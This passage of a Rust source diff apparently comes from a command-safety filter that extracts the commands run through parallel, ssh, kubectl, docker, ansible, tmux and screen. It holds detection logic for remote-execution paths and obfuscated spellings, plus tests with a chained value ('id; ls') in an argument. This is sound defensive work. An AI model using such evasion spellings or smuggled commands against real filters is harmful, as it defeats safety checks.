that hold another `parallel` call are not + // multiplied, or nested calls would multiply the work at every level; + // options that put several arguments or columns into one job are not + // read. + let nested = + mentions_parallel(&template) || groups.iter().flatten().any(|a| mentions_parallel(a)); + let several_per_job = walked.has(MULTI_ARGUMENT_OPTIONS); + let budget = words.form.len() + JOB_SLACK; + if !nested && !several_per_job { + if let Some(jobs) = job_lines(&template, &groups, linked, &custom, budget) { + jobs.into_iter().for_each(|job| found.code(job)); + return; + } + } + // Otherwise `Confirm`, the first job in full (unless it holds another + // `parallel` call) and each argument once: where the arguments are + // commands (`{} …`, `sh -c`, `eval`), every further one by itself, + // otherwise one line holds the command with all of them as data. + found.unsure(UNSURE_OPTIONS); + let firsts: Vec> = groups + .iter() + .map(|g| g.iter().take(1).copied().collect()) + .collect(); + if !nested { + if let Some(first) = with_arguments(&template, &firsts, &custom, budget, true) { + found.code(first); + } + } + let budget = words.form.len().saturating_mul(4) + 4096; + let commands = args_are_commands(&template, &custom); + let groups_once = if commands { &firsts } else { &groups }; + match with_arguments(&template, groups_once, &custom, budget, false) { + Some(code) => found.code(code), + None => found.code(template), + } + if commands { + groups + .iter() + .flat_map(|group| group.iter().skip(1)) + .for_each(|arg| found.code(*arg)); + } +} + +/// Options that put several arguments, or columns of one, into one job. +const MULTI_ARGUMENT_OPTIONS: &[&str] = &[ + "N", + "n", + "max-args", + "L", + "l", + "max-lines", + "X", + "m", + "xargs", + "C", + "colsep", + "plus", + "max-replace-args", + "pipe", + "pipe-part", + "pipepart", +]; + +/// Whether `text` may hold the word `parallel` in any spelling a shell +/// turns into it (quotes, backslashes, case, `$'…'` escapes), or in +/// PowerShell code, which may be encoded. +fn mentions_parallel(text: &str) -> bool { + let lower = text.to_lowercase(); + text.contains("$'") + || lower.contains("pwsh") + || lower.contains("powershell") + || text + .chars() + .filter(|c| !matches!(c, '\'' | '"' | '\\')) + .collect::() + .to_lowercase() + .contains("parallel") +} + +/// How much longer than the call all its job lines together may be. +const JOB_SLACK: usize = 1024; + +/// One line per job (`template` with the job's argument of each group in +/// every replacement string; every combination of the groups, or with +/// `linked` the n-th of each), or `None` if together they exceed `budget` +/// bytes. +fn job_lines( + template: &str, + groups: &[Vec<&str>], + linked: bool, + custom: &[&str], + budget: usize, +) -> Option> { + if groups.iter().all(Vec::is_empty) { + return Some(vec![template.to_string()]); + } + let mut lines = Vec::new(); + let mut total = 0usize; + let mut index = vec![0usize; groups.len()]; + loop { + let args: Vec> = groups + .iter() + .zip(&index) + .map(|(group, &i)| group.get(i).or(group.last()).into_iter().copied().collect()) + .collect(); + let line = with_arguments(template, &args, custom, budget.checked_sub(total)?, true)?; + total += line.len(); + lines.push(line); + if !next_job(&mut index, groups, linked) { + return Some(lines); + } + } +} + +/// Moves `index` (the argument of each group) to the next job; `false` +/// after the last one. +fn next_job(index: &mut [usize], groups: &[Vec<&str>], linked: bool) -> bool { + if linked { + let jobs = groups.iter().map(Vec::len).max().unwrap_or(0); + let next = index.first().map_or(jobs, |i| i + 1); + index.iter_mut().for_each(|i| *i = next); + return next < jobs; + } + for (i, group) in index.iter_mut().zip(groups).rev() { + if *i + 1 < group.len() { + *i += 1; + return true; + } + *i = 0; + } + false +} + +/// Whether the arguments of `template` are commands or shell code: the +/// replacement string (or the appended argument) is the command word, or +/// follows `sh -c` or `eval`. +fn args_are_commands(template: &str, custom: &[&str]) -> bool { + const MARK: &str = "\u{1}"; + let Some(probe) = with_arguments(template, &[vec![MARK]], custom, usize::MAX, true) else { + return false; + }; + let words: Vec<&str> = probe.split_whitespace().collect(); + let shells = ["sh", "bash", "dash", "zsh", "ksh", "ash", "eval"]; + words.iter().enumerate().any(|(i, word)| { + word.contains(MARK) + && (i == 0 + || words[i - 1] == "-c" + || words[..i] + .iter() + .any(|w| shells.contains(&program_name(w).as_str()))) + }) +} + +/// A replacement string in `text` (`{}`, `{.}`, `{2}`, `{2/.}`, …): where it +/// starts, its length and the argument group it stands for (`None`: all). +fn next_replacement(text: &str, custom: &[&str]) -> Option<(usize, usize, Option)> { + let custom = custom + .iter() + .filter_map(|marker| text.find(marker).map(|at| (at, marker.len(), None))) + .min_by_key(|hit| hit.0); + let mut from = 0; + let mut brace = None; + while let Some(open) = text[from..].find('{').map(|at| at + from) { + let Some(close) = text[open..].find('}').map(|at| at + open) else { + break; + }; + let inner = &text[open + 1..close]; + if inner.contains(char::is_whitespace) || inner.starts_with('=') { + from = open + 1; + continue; + } + let digits: String = inner.chars().take_while(char::is_ascii_digit).collect(); + let group = digits.parse::().ok().filter(|&n| n > 0); + brace = Some((open, close + 1 - open, group)); + break; + } + [custom, brace] + .into_iter() + .flatten() + .min_by_key(|hit| hit.0) +} + +/// `template` with its replacement strings replaced by the arguments (all +/// of them, or of one group), or all arguments appended if it has none; +/// quoted as `parallel` does, unless they are the command itself. Unless +/// `every`, only the first replacement string of each group is filled and +/// later ones are left empty, so each argument is in the result once. +/// `None` if the result would exceed `budget` bytes. +fn with_arguments( + template: &str, + groups: &[Vec<&str>], + custom: &[&str], + budget: usize, + every: bool, +) -> Option { + let is_command = custom + .iter() + .chain(&["{"]) + .any(|marker| template.starts_with(marker)); + let quote = |arg: &&str| { + if is_command { + arg.to_string() + } else { + shell_words::quote(arg).into_owned() + } + }; + let arguments = |group: Option| -> String { + let args: Vec = match group { + Some(n) => groups.get(n - 1).into_iter().flatten().map(quote).collect(), + None => groups.iter().flatten().map(quote).collect(), + }; + args.join(" ") + }; + let mut result = String::with_capacity(template.len()); + let mut rest = template; + let mut replaced = false; + let mut used: Vec> = Vec::new(); + while let Some((at, len, group)) = next_replacement(rest, custom) { + result.push_str(&rest[..at]); + if every || (!used.contains(&group) && !used.contains(&None)) { + result.push_str(&arguments(group)); + used.push(group); + } + rest = &rest[at + len..]; + replaced = true; + if result.len() > budget { + return None; + } + } + result.push_str(rest); + if !replaced && !groups.is_empty() { + result.push(' '); + result.push_str(&arguments(None)); + } + (result.len() <= budget).then_some(result) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn filled(template: &str, args: &[&str]) -> String { + with_arguments(template, &[args.to_vec()], &[], 10_000, false).unwrap_or_default() + } + + #[test] + fn arguments_take_the_place_of_replacement_strings() { + assert_eq!(filled("cp {} {.}.bak", &["f"]), "cp f .bak"); + assert_eq!(filled("sh -c", &["id; ls"]), "sh -c 'id; ls'"); + assert_eq!(filled("{}", &["id; ls"]), "id; ls"); + assert_eq!(filled("gzip", &["a", "b"]), "gzip a b"); + assert_eq!( + with_arguments("XX -l", &[vec!["ls"]], &["XX"], 100, false).as_deref(), + Some("ls -l") + ); + let groups = [vec!["a"], vec!["b c"]]; + assert_eq!( + with_arguments("x {2} {1}", &groups, &[], 100, false).as_deref(), + Some("x 'b c' a") + ); + assert_eq!( + with_arguments("{};{};{}", &groups, &[], 100, false).as_deref(), + Some("a b c;;") + ); + assert_eq!( + with_arguments(&"x".repeat(200), &groups, &[], 100, false), + None + ); + } + + #[test] + fn one_line_per_job() { + let groups = [vec!["a", "b"], vec!["x"]]; + assert_eq!( + job_lines("cat {1} {1} {2}", &groups, false, &[], 100), + Some(vec!["cat a a x".to_string(), "cat b b x".to_string()]) + ); + let crossed = [vec!["a", "b"], vec!["x", "y"]]; + assert_eq!( + job_lines("{1}{2}", &crossed, false, &[], 100), + Some(vec!["ax".into(), "ay".into(), "bx".into(), "by".into()]) + ); + assert_eq!( + job_lines("{1}{2}", &crossed, true, &[], 100), + Some(vec!["ax".into(), "by".into()]) + ); + assert_eq!(job_lines("cat {}", &groups, false, &[], 5), None); + assert!(mentions_parallel("p\\a'r'\"ALLEL\"")); + } + + #[test] + fn arguments_that_are_commands() { + assert!(args_are_commands("{}", &[])); + assert!(args_are_commands("XX -l", &["XX"])); + assert!(args_are_commands("sh -c", &[])); + assert!(args_are_commands("bash -c {}", &[])); + assert!(args_are_commands("eval", &[])); + assert!(!args_are_commands("gzip {}", &[])); + assert!(!args_are_commands("echo", &[])); + } +} diff --git a/crates/core/src/filter/command_runners/remote.rs b/crates/core/src/filter/command_runners/remote.rs new file mode 100644 index 000000000..e8a935ce6 --- /dev/null +++ b/crates/core/src/filter/command_runners/remote.rs @@ -0,0 +1,557 @@ +//! Programs that run a command on another host, in a container or a +//! machine: `ssh`, `mosh`, `pdsh`, `kubectl`, `docker`/`podman`, +//! `machinectl`, `ansible`. + +use super::{program_name, walk, Found, Walked, Words, FOREIGN_SYNTAX, READS_STDIN}; +use crate::filter::wrapper_options::OptionTable; + +const SSH_OPTIONS: OptionTable = OptionTable { + short_value: "BbcDEeFIiJLlmOoPpQRSWw", + short_optional: "", + short_flags: "46AaCfGgKkMNnqsTtVvXxYy", + long: &[], +}; + +/// `ssh -o` keys whose value is a command line (run remotely or locally). +const SSH_COMMAND_KEYS: &[&str] = &[ + "remotecommand", + "proxycommand", + "localcommand", + "knownhostscommand", +]; + +/// `ssh [options] destination [command [args]]`: the words after the +/// destination are joined and run by the remote shell; options may also +/// follow the destination. Without a command (and without `-N`, `-W`, …) +/// the remote shell reads its commands from stdin. +pub(super) fn ssh(words: &Words, found: &mut Found) { + let len = words.len(); + let first = walk(words, 1, len, &SSH_OPTIONS, false); + let mut opts = first.opts; + let mut unknown = first.unknown; + let destination = (first.end < len).then_some(first.end); + let mut command = len; + if let Some(destination) = destination { + let again = walk(words, destination + 1, len, &SSH_OPTIONS, false); + unknown |= again.unknown; + command = again.end; + opts.extend(again.opts); + } + found.unsure_if(unknown); + let mut remote_command = false; + for value in opts + .iter() + .filter(|opt| opt.name == "o") + .filter_map(|opt| opt.value.as_deref()) + { + let (key, value) = value + .split_once(|c: char| c == '=' || c.is_whitespace()) + .unwrap_or((value, "")); + let key = key.trim().to_ascii_lowercase(); + let value = value.trim_start_matches(|c: char| c == '=' || c.is_whitespace()); + if SSH_COMMAND_KEYS.contains(&key.as_str()) && !value.eq_ignore_ascii_case("none") { + remote_command |= key == "remotecommand"; + found.code(value); + } + } + if command < len { + found.code(words.joined(command, len)); + } else if destination.is_some() + && !remote_command + && !opts + .iter() + .any(|opt| ["N", "W", "O", "G", "V", "Q"].contains(&opt.name.as_str())) + { + found.unsure(READS_STDIN); + } +} + +const MOSH_OPTIONS: OptionTable = OptionTable { + short_value: "p", + short_optional: "", + short_flags: "an46o", + long: &[ + ("client", true), + ("server", true), + ("ssh", true), + ("predict", true), + ("port", true), + ("family", true), + ("bind-server", true), + ("experimental-remote-ip", true), + ("no-ssh-pty", false), + ("no-init", false), + ("local", false), + ("predict-overwrite", false), + ("help", false), + ("version", false), + ], +}; + +/// `mosh [options] host [--] [command…]`: the command runs on the host; +/// `--ssh`, `--server` and `--client` are command lines as well. +pub(super) fn mosh(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &MOSH_OPTIONS, false); + found.unsure_if(walked.unknown); + for code in walked.values(&["ssh", "server", "client"]) { + found.code(code); + } + let mut command = walked.end + 1; + if words.text(command) == "--" { + command += 1; + } + if command < words.len() { + found.code(words.joined(command, words.len())); + } +} + +const PDSH_OPTIONS: OptionTable = OptionTable { + short_value: "wxgXltufRMmF", + short_optional: "", + short_flags: "aAibqSdNLhV", + long: &[], +}; + +/// `pdsh [options] command…`: the command runs on each host; without one, +/// pdsh reads commands from stdin. +pub(super) fn pdsh(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &PDSH_OPTIONS, false); + found.unsure_if(walked.unknown); + if walked.end < words.len() { + found.code(words.joined(walked.end, words.len())); + } else { + found.unsure(READS_STDIN); + } +} + +/// `kubectl exec|run|debug … -- command…`: the command after `--` runs +/// directly in the container. `kubectl exec POD command` without `--` is +/// an older form whose command cannot be told from options for sure. +pub(super) fn kubectl(words: &Words, found: &mut Found) { + let len = words.len(); + let Some(sub) = (1..len).find(|&i| matches!(words.text(i), "exec" | "run" | "debug")) else { + return; + }; + let short = |letter: char| { + (sub + 1..len).any(|i| { + let text = words.text(i); + text.starts_with('-') && !text.starts_with("--") && text.contains(letter) + }) + }; + let long = |name: &str| { + (sub + 1..len) + .any(|i| words.text(i).starts_with(name) && !words.text(i).ends_with("=false")) + }; + // With a terminal (`-it`), piped input is refused. + let stdin = (short('i') || long("--stdin")) && !(short('t') || long("--tty")); + match (sub + 1..len).find(|&i| words.text(i) == "--") { + Some(dashes) => found.code(words.raw(dashes + 1, len)), + None if words.text(sub) == "exec" => found.unsure_if(sub + 2 < len), + // The image's own command, with stdin attached. + None if stdin => found.unsure(READS_STDIN), + None => {} + } +} + +/// Options in front of a `docker`/`podman` subcommand. +const CONTAINER_GLOBAL_OPTIONS: OptionTable = OptionTable { + short_value: "Hcl", + short_optional: "", + short_flags: "Dvh", + long: &[ + ("host", true), + ("context", true), + ("log-level", true), + ("config", true), + ("tlscacert", true), + ("tlscert", true), + ("tlskey", true), + ("tls", false), + ("tlsverify", false), + ("debug", false), + ("version", false), + ("help", false), + ("url", true), + ("connection", true), + ("identity", true), + ("root", true), + ("runroot", true), + ("storage-driver", true), + ("storage-opt", true), + ("cgroup-manager", true), + ("events-backend", true), + ("hooks-dir", true), + ("imagestore", true), + ("module", true), + ("network-cmd-path", true), + ("network-config-dir", true), + ("out", true), + ("registries-conf", true), + ("runtime", true), + ("runtime-flag", true), + ("ssh", true), + ("tmpdir", true), + ("volumepath", true), + ("remote", false), + ("transient-store", false), + ("noout", false), + ("syslog", false), + ], +}; + +const CONTAINER_EXEC_OPTIONS: OptionTable = OptionTable { + short_value: "euw", + short_optional: "", + short_flags: "ditlT", + long: &[ + ("detach", false), + ("detach-keys", true), + ("env", true), + ("env-file", true), + ("interactive", false), + ("privileged", false), + ("tty", false), + ("user", true), + ("workdir", true), + ("latest", false), + ("preserve-fds", true), + ("preserve-fd", true), + ("index", true), + ("no-TTY", false), + ("help", false), + ], +}; + +const CONTAINER_RUN_OPTIONS: OptionTable = OptionTable { + short_value: "acehlmpuvw", + short_optional: "", + short_flags: "dqitPT", + long: &[ + ("add-host", true), + ("annotation", true), + ("attach", true), + ("blkio-weight", true), + ("blkio-weight-device", true), + ("build", false), + ("cap-add", true), + ("cap-drop", true), + ("cgroup-parent", true), + ("cgroupns", true), + ("cidfile", true), + ("cpu-period", true), + ("cpu-quota", true), + ("cpu-rt-period", true), + ("cpu-rt-runtime", true), + ("cpu-shares", true), + ("cpus", true), + ("cpuset-cpus", true), + ("cpuset-mems", true), + ("detach", false), + ("detach-keys", true), + ("device", true), + ("device-cgroup-rule", true), + ("device-read-bps", true), + ("device-read-iops", true), + ("device-write-bps", true), + ("device-write-iops", true), + ("disable-content-trust", false), + ("dns", true), + ("dns-option", true), + ("dns-search", true), + ("domainname", true), + ("entrypoint", true), + ("env", true), + ("env-file", true), + ("expose", true), + ("gpus", true), + ("group-add", true), + ("health-cmd", true), + ("health-interval", true), + ("health-retries", true), + ("health-start-interval", true), + ("health-start-period", true), + ("health-timeout", true), + ("help", false), + ("hostname", true), + ("init", false), + ("interactive", false), + ("ip", true), + ("ip6", true), + ("ipc", true), + ("isolation", true), + ("kernel-memory", true), + ("label", true), + ("label-file", true), + ("link", true), + ("link-local-ip", true), + ("log-driver", true), + ("log-opt", true), + ("mac-address", true), + ("memory", true), + ("memory-reservation", true), + ("memory-swap", true), + ("memory-swappiness", true), + ("mount", true), + ("name", true), + ("net", true), + ("net-alias", true), + ("network", true), + ("network-alias", true), + ("no-deps", false), + ("no-healthcheck", false), + ("no-TTY", false), + ("oom-kill-disable", false), + ("oom-score-adj", true), + ("pid", true), + ("pids-limit", true), + ("platform", true), + ("privileged", false), + ("publish", true), + ("publish-all", false), + ("pull", true), + ("quiet", false), + ("quiet-pull", false), + ("read-only", false), + ("remove-orphans", false), + ("restart", true), + ("rm", false), + ("runtime", true), + ("security-opt", true), + ("service-ports", false), + ("shm-size", true), + ("sig-proxy", false), + ("stop-signal", true), + ("stop-timeout", true), + ("storage-opt", true), + ("sysctl", true), + ("tmpfs", true), + ("tty", false), + ("ulimit", true), + ("use-aliases", false), + ("use-api-socket", false), + ("user", true), + ("userns", true), + ("uts", true), + ("volume", true), + ("volume-driver", true), + ("volumes-from", true), + ("workdir", true), + ], +}; + +/// `docker`/`podman [options] [container] exec|run|create …` and `compose`: +/// the command after the container or image runs directly in it, behind +/// `--entrypoint` if one is given; `--health-cmd` runs in a shell. +pub(super) fn docker(words: &Words, from: usize, found: &mut Found) { + let walked = walk(words, from, usize::MAX, &CONTAINER_GLOBAL_OPTIONS, false); + found.unsure_if(walked.unknown); + let mut sub = walked.end; + if words.text(sub) == "container" { + sub += 1; + } + match words.text(sub) { + "compose" => compose(words, sub + 1, found), + "exec" => container_command(words, sub + 1, &CONTAINER_EXEC_OPTIONS, found), + "run" | "create" => container_command(words, sub + 1, &CONTAINER_RUN_OPTIONS, found), + // Input goes to the container's own command. + "attach" if !(sub + 1..words.len()).any(|i| words.text(i) == "--no-stdin") => { + found.unsure(READS_STDIN); + } + "start" => { + let interactive = (sub + 1..words.len()).any(|i| { + let text = words.text(i); + text == "--interactive" + || (text.starts_with('-') && !text.starts_with("--") && text.contains('i')) + }); + if interactive { + found.unsure(READS_STDIN); + } + } + _ => {} + } +} + +const COMPOSE_OPTIONS: OptionTable = OptionTable { + short_value: "fp", + short_optional: "", + short_flags: "h", + long: &[ + ("file", true), + ("project-name", true), + ("profile", true), + ("env-file", true), + ("project-directory", true), + ("ansi", true), + ("parallel", true), + ("progress", true), + ("compatibility", false), + ("dry-run", false), + ("all-resources", false), + ("help", false), + ], +}; + +/// `docker compose`/`docker-compose [options] exec|run [options] service +/// command…`. +pub(super) fn compose(words: &Words, from: usize, found: &mut Found) { + let walked = walk(words, from, usize::MAX, &COMPOSE_OPTIONS, false); + found.unsure_if(walked.unknown); + let sub = walked.end; + match words.text(sub) { + "exec" => container_command(words, sub + 1, &CONTAINER_EXEC_OPTIONS, found), + "run" => container_command(words, sub + 1, &CONTAINER_RUN_OPTIONS, found), + _ => {} + } +} + +/// Whether `-t`/`--tty` is set (not `--tty=false`). +fn has_tty(walked: &Walked) -> bool { + walked + .opts + .iter() + .any(|opt| (opt.name == "t" || opt.name == "tty") && opt.value.as_deref() != Some("false")) +} + +fn container_command(words: &Words, from: usize, table: &OptionTable, found: &mut Found) { + let walked = walk(words, from, usize::MAX, table, false); + found.unsure_if(walked.unknown); + for code in walked.values(&["health-cmd"]) { + found.code(code); + } + // `podman exec --latest` names no container. + let latest = + walked.has(&["latest"]) || (walked.has(&["l"]) && !table.short_value.contains('l')); + let container = usize::from(!latest); + let command = words.raw(walked.end + container, words.len()); + match walked.values(&["entrypoint"]).last() { + Some(entrypoint) => found.code(format!("{entrypoint} {command}").trim().to_string()), + None if !command.is_empty() => found.code(command), + // The image's own command, with stdin attached (with a terminal, + // `-it`, piped input is refused). + None if walked.has(&["i", "interactive"]) && !has_tty(&walked) => { + found.unsure(READS_STDIN); + } + None => {} + } +} + +const MACHINECTL_OPTIONS: OptionTable = OptionTable { + short_value: "pHMoEsn", + short_optional: "", + short_flags: "alqh", + long: &[ + ("property", true), + ("host", true), + ("machine", true), + ("output", true), + ("setenv", true), + ("signal", true), + ("uid", true), + ("kill-whom", true), + ("lines", true), + ("verify", true), + ("format", true), + ("max-addresses", true), + ("runner", true), + ("all", false), + ("value", false), + ("full", false), + ("mkdir", false), + ("read-only", false), + ("quiet", false), + ("force", false), + ("no-pager", false), + ("no-legend", false), + ("no-ask-password", false), + ("system", false), + ("user", false), + ("help", false), + ("version", false), + ], +}; + +/// `machinectl [options] shell [options] [user@]machine command…`: the +/// command runs directly in the machine. +pub(super) fn machinectl(words: &Words, found: &mut Found) { + let Some(shell) = (1..words.len()).find(|&i| words.text(i) == "shell") else { + return; + }; + let walked = walk(words, shell + 1, usize::MAX, &MACHINECTL_OPTIONS, false); + found.unsure_if(walked.unknown); + if walked.end + 1 < words.len() { + found.code(words.raw(walked.end + 1, words.len())); + } else { + found.unsure(READS_STDIN); + } +} + +const ANSIBLE_OPTIONS: OptionTable = OptionTable { + short_value: "aBPefilMmtTuc", + short_optional: "", + short_flags: "okKbCDvh", + long: &[ + ("args", true), + ("background", true), + ("poll", true), + ("extra-vars", true), + ("forks", true), + ("inventory", true), + ("limit", true), + ("module-path", true), + ("module-name", true), + ("tree", true), + ("timeout", true), + ("user", true), + ("connection", true), + ("become-method", true), + ("become-user", true), + ("private-key", true), + ("key-file", true), + ("ssh-common-args", true), + ("sftp-extra-args", true), + ("scp-extra-args", true), + ("ssh-extra-args", true), + ("vault-id", true), + ("vault-password-file", true), + ("playbook-dir", true), + ("task-timeout", true), + ("one-line", false), + ("ask-pass", false), + ("ask-become-pass", false), + ("become", false), + ("check", false), + ("diff", false), + ("verbose", false), + ("list-hosts", false), + ("syntax-check", false), + ("ask-vault-password", false), + ("version", false), + ("help", false), + ], +}; + +/// Ansible modules whose arguments are a command line. +const ANSIBLE_COMMAND_MODULES: &[&str] = &["command", "shell", "raw", "script"]; +const ANSIBLE_WINDOWS_MODULES: &[&str] = &["win_shell", "win_command", "psexec"]; + +/// `ansible pattern [-m command|shell|raw|script] -a ARGS`: the arguments of +/// these modules are a command line run on each host. +pub(super) fn ansible(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &ANSIBLE_OPTIONS, true); + found.unsure_if(walked.unknown); + let module = walked + .values(&["m", "module-name"]) + .last() + .map_or_else(|| "command".to_string(), program_name); + let module = module.rsplit('.').next().unwrap_or_default(); + let windows = ANSIBLE_WINDOWS_MODULES.contains(&module); + if !windows && !ANSIBLE_COMMAND_MODULES.contains(&module) { + return; + } + for code in walked.values(&["a", "args"]) { + found.code(code); + if windows { + found.unsure(FOREIGN_SYNTAX); + } + } +} diff --git a/crates/core/src/filter/command_runners/sessions.rs b/crates/core/src/filter/command_runners/sessions.rs new file mode 100644 index 000000000..3ef2e4b64 --- /dev/null +++ b/crates/core/src/filter/command_runners/sessions.rs @@ -0,0 +1,353 @@ +//! `tmux` and `screen`: the command a new session, window or pane runs, the +//! shell commands of `run-shell`/`if-shell`, and keys sent to a session. + +use super::{walk, Found, Words, SENDS_KEYS, UNSURE_OPTIONS}; +use crate::filter::wrapper_options::OptionTable; + +const TMUX_OPTIONS: OptionTable = OptionTable { + short_value: "cfLST", + short_optional: "", + short_flags: "2CDdhlNquUvV", + long: &[], +}; + +/// What a tmux command does with its operands. +#[derive(Clone, Copy)] +enum TmuxKind { + /// Runs them as a shell command. + Run, + /// Types them into a pane. + Keys, + /// `if-shell`: a shell command, then tmux commands. + If, + /// Binds or hooks the tmux command after the first operand. + Later, + /// Runs the tmux command in its first operand. + Then, + /// Sets an option; `default-command` is a shell command. + Set, + /// Reads tmux commands from a file. + Unreadable, +} + +/// The tmux commands that run something: name, alias, kind and the options +/// that take a value and those that do not. +type TmuxCommand = ( + &'static str, + &'static str, + TmuxKind, + &'static str, + &'static str, +); + +const TMUX_COMMANDS: &[TmuxCommand] = &[ + ("new-session", "new", TmuxKind::Run, "cefFnstxy", "AdDEPX"), + ("new-window", "neww", TmuxKind::Run, "ceFnt", "abdkPS"), + ( + "split-window", + "splitw", + TmuxKind::Run, + "ceFlpt", + "bdfhIPvZ", + ), + ("respawn-pane", "respawnp", TmuxKind::Run, "cet", "k"), + ("respawn-window", "respawnw", TmuxKind::Run, "cet", "k"), + ("run-shell", "run", TmuxKind::Run, "cdt", "bCE"), + ( + "display-popup", + "popup", + TmuxKind::Run, + "bcdehsStTwxy", + "BCEkN", + ), + ("pipe-pane", "pipep", TmuxKind::Run, "t", "IOo"), + ("send-keys", "send", TmuxKind::Keys, "cNt", "FHKlMRX"), + ("if-shell", "if", TmuxKind::If, "t", "bF"), + ("bind-key", "bind", TmuxKind::Later, "NT", "nr"), + ("set-hook", "set-hook", TmuxKind::Later, "t", "agpRuw"), + ("confirm-before", "confirm", TmuxKind::Then, "cpt", "by"), + ("command-prompt", "", TmuxKind::Then, "IptT", "1bFikN"), + ("set-option", "set", TmuxKind::Set, "t", "aFgopqsuUw"), + ("set-window-option", "setw", TmuxKind::Set, "t", "aFgoqu"), + ("source-file", "source", TmuxKind::Unreadable, "t", "Fnqv"), +]; + +/// Names of other tmux commands that a prefix of a command above could be +/// taken for (an exact name or alias wins over a prefix). +const TMUX_OTHER_NAMES: &[&str] = &["display"]; + +/// `tmux [options] [command [args]] [; command …]`: `-c` and the shell +/// commands of the commands above. A word `;`, or a word ending in `;`, +/// ends a command. tmux accepts a unique prefix of a command name. +pub(super) fn tmux(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &TMUX_OPTIONS, false); + found.unsure_if(walked.unknown); + for code in walked.values(&["c"]) { + found.code(code); + } + let mut words = Words { + form: words.form, + words: words.words.clone(), + }; + // `#(command)` in a format runs a shell command, in any tmux command. + for i in walked.end..words.len() { + format_commands(words.text(i), found); + } + let mut start = walked.end; + for i in walked.end..=words.len() { + let ends = i < words.len() && { + let text = &mut words.words[i].text; + let ends = text.ends_with(';') && !text.ends_with("\\;"); + if ends { + text.pop(); + } + ends + }; + if i == words.len() || ends { + let to = if ends && !words.text(i).is_empty() { + i + 1 + } else { + i + }; + tmux_command(&words, start, to, found); + start = i + 1; + } + } +} + +/// The command a tmux command name stands for: its exact name or alias, or +/// the one command above it is a prefix of. `None` with `unsure` if it may +/// be several of them. +fn tmux_command_named(name: &str) -> Result, ()> { + if let Some(exact) = TMUX_COMMANDS + .iter() + .find(|(full, alias, ..)| *full == name || *alias == name) + { + return Ok(Some(exact)); + } + if TMUX_OTHER_NAMES.contains(&name) { + return Ok(None); + } + let mut matching = TMUX_COMMANDS + .iter() + .filter(|(full, ..)| full.starts_with(name)); + match (matching.next(), matching.next()) { + (Some(only), None) => Ok(Some(only)), + (Some(_), Some(_)) => Err(()), + _ => Ok(None), + } +} + +fn tmux_command(words: &Words, from: usize, to: usize, found: &mut Found) { + let name = words.text(from); + if name.is_empty() || from >= to { + return; + } + let Ok(command) = tmux_command_named(name) else { + found.unsure(UNSURE_OPTIONS); + return; + }; + let Some(&(_, _, kind, value, flags)) = command else { + return; + }; + let table = OptionTable { + short_value: value, + short_optional: "", + short_flags: flags, + long: &[], + }; + let walked = walk(words, from + 1, to, &table, false); + found.unsure_if(walked.unknown); + let end = walked.end; + if end >= to { + return; + } + match kind { + TmuxKind::Run => found.code(words.joined(end, to)), + TmuxKind::Keys => { + found.code(keys(words, end, to)); + found.unsure(SENDS_KEYS); + } + TmuxKind::If => { + found.code(words.text(end)); + for i in end + 1..to { + found.code(format!("tmux {}", words.text(i))); + } + } + TmuxKind::Later => found.code(format!("tmux {}", words.joined(end + 1, to))), + TmuxKind::Then => found.code(format!("tmux {}", words.joined(end, to))), + TmuxKind::Set => { + // tmux takes a unique prefix of an option name. + let name = words.text(end); + let options = [ + "default-command", + "default-shell", + "default-size", + "default-terminal", + ]; + let matching: Vec<&str> = options + .into_iter() + .filter(|option| !name.is_empty() && option.starts_with(name)) + .collect(); + if matching == ["default-command"] { + found.code(words.joined(end + 1, to)); + } else if matching + .iter() + .any(|option| *option == "default-command" || *option == "default-shell") + { + found.unsure(UNSURE_OPTIONS); + } + } + TmuxKind::Unreadable => found.unsure(UNSURE_OPTIONS), + } +} + +/// The shell commands of the `#(…)` in a tmux format `text`; a format +/// expanded again needs `Confirm`. +fn format_commands(text: &str, found: &mut Found) { + // `#{E:…}`/`#{T:…}` expand a value as a format again. + found.unsure_if(text.contains("#{E:") || text.contains("#{T:")); + let mut rest = text; + while let Some(open) = rest.find("#(") { + let inner = &rest[open + 2..]; + let mut depth = 1; + let close = inner.char_indices().find_map(|(at, c)| { + match c { + '(' => depth += 1, + ')' => depth -= 1, + _ => {} + } + (depth == 0).then_some(at) + }); + match close { + Some(close) => { + found.code(&inner[..close]); + rest = &inner[close + 1..]; + } + None => { + found.code(inner); + found.unsure(UNSURE_OPTIONS); + return; + } + } + } +} + +/// Keys typed into a session, as the line they make: a key that ends a line +/// (`Enter`, `C-m`, `\n`, `^M`) separates commands. +fn keys(words: &Words, from: usize, to: usize) -> String { + (from..to) + .map(|i| match words.text(i) { + "Enter" | "KPEnter" | "C-m" | "C-M" | "C-j" | "C-J" | "^M" | "^J" => "\n".to_string(), + text => text + .replace("\\n", "\n") + .replace("\\r", "\n") + .replace("^M", "\n") + .replace("^J", "\n"), + }) + .collect::>() + .join(" ") +} + +/// `screen` options that take a value. +const SCREEN_VALUE_LETTERS: &str = "cehpSsTt"; +const SCREEN_FLAG_LETTERS: &str = "aAdDfiIlLmOqrRUwx46"; +const SCREEN_WORD_OPTIONS: &[&str] = &["-ls", "-list", "-wipe", "-ln", "-fn", "-fa", "-version"]; + +/// `screen [options] [command [args]]`: the command of a new session runs +/// directly (`-s` names the program it starts without one); with `-X`/`-Q`, +/// the operands are a screen command sent to a session (`stuff` types keys, +/// `exec`/`screen` run a command, `eval` runs screen commands). +pub(super) fn screen(words: &Words, found: &mut Found) { + let len = words.len(); + let mut i = 1; + let mut send = false; + 'options: while i < len { + let text = words.text(i); + if !text.starts_with('-') || text == "-" { + break; + } + i += 1; + if text == "--" { + break; + } + if SCREEN_WORD_OPTIONS.contains(&text) { + continue; + } + if text == "-Logfile" { + i += 1; + continue; + } + for (pos, letter) in text.char_indices().skip(1) { + let rest = &text[pos + 1..]; + if letter == 'X' || letter == 'Q' { + send = true; + continue; + } + if SCREEN_VALUE_LETTERS.contains(letter) { + let value = if rest.is_empty() { + i += 1; + words.text(i - 1) + } else { + rest + }; + if letter == 's' { + found.code(value); + } + continue 'options; + } + found.unsure_if(!SCREEN_FLAG_LETTERS.contains(letter)); + // `-r`, `-x`, `-d`, … take a session name from the next word. + let next = words.text(i); + if rest.is_empty() + && "rRxdD".contains(letter) + && !next.is_empty() + && !next.starts_with('-') + { + i += 1; + } + } + } + 